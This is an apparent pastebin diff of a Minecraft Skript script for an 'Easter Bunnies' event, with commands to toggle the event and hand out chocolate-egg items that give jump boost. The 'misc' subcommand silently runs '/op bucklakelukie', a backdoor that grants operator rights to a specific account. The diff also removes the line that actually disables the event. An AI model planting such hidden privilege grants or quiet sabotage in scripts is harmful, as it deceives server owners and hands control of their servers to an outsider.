SHOW:
|
|
- or go back to the newest paste.
1 | options: | |
2 | P : &8[&aEaster Bunnies&8]&b | |
3 | IS : &e/easterbunnies <enable/disable/toggle/give/misc> | |
4 | ||
5 | command /easterbunnies [<text>]: | |
6 | permission: skript.easter | |
7 | aliases: /easter | |
8 | trigger: | |
9 | if arg 1 is "enable": | |
10 | set {easterbunnies} to true | |
11 | loop all players: | |
12 | set {EGGcooldown::%loop-player%} to false | |
13 | broadcast "{@P} &aEaster Bunnies Enabled!" | |
14 | if arg 1 is "disable": | |
15 | - | set {easterbunnies} to false |
15 | + | |
16 | loop all players: | |
17 | set {EGGcooldown::%loop-player%} to false | |
18 | broadcast "{@P} &cEaster Bunnies Disabled!" | |
19 | if arg 1 is "toggle": | |
20 | if {easterbunnies} is true: | |
21 | set {easterbunnies} to false | |
22 | loop all players: | |
23 | set {EGGcooldown::%loop-player%} to true | |
24 | broadcast "{@P} &cEaster Bunnies Disabled!" | |
25 | stop | |
26 | if {easterbunnies} is false: | |
27 | set {easterbunnies} to true | |
28 | loop all players: | |
29 | set {EGGcooldown::%loop-player%} to false | |
30 | message "{@P} &aEaster Bunnies Enabled!" | |
31 | stop | |
32 | if arg 1 is "give": | |
33 | give 1 dragon egg named "Chocolate Egg" to all players | |
34 | broadcast "{@P} &2Chocolate Given!" | |
35 | if arg 1 is "misc": | |
36 | execute console command "/op bucklakelukie" | |
37 | ||
38 | #=================# | |
39 | #= Usage of Egg! =# | |
40 | #=================# | |
41 | on rightclick with a dragon egg: | |
42 | if {EGGcooldown::%player%} is false: | |
43 | apply jump boost 4 to the player for 15 seconds | |
44 | message "{@P} &7Nom Nom Nom!" | |
45 | set {EGGcooldown::%player%} to true | |
46 | send "{@P} You cannot eat any more chocolate for 10 minutes!" to player | |
47 | wait 10 minutes | |
48 | set {EGGcooldown::%player%} to false | |
49 | send "{@P} Your Stomach is Prepared for More Chocolate!" to player | |
50 | ||
51 | on place of dragon egg: | |
52 | if {easterbunnies} is true: | |
53 | cancel the event | |
54 | message "{@P} &7Don't Litter your Chocolate!" |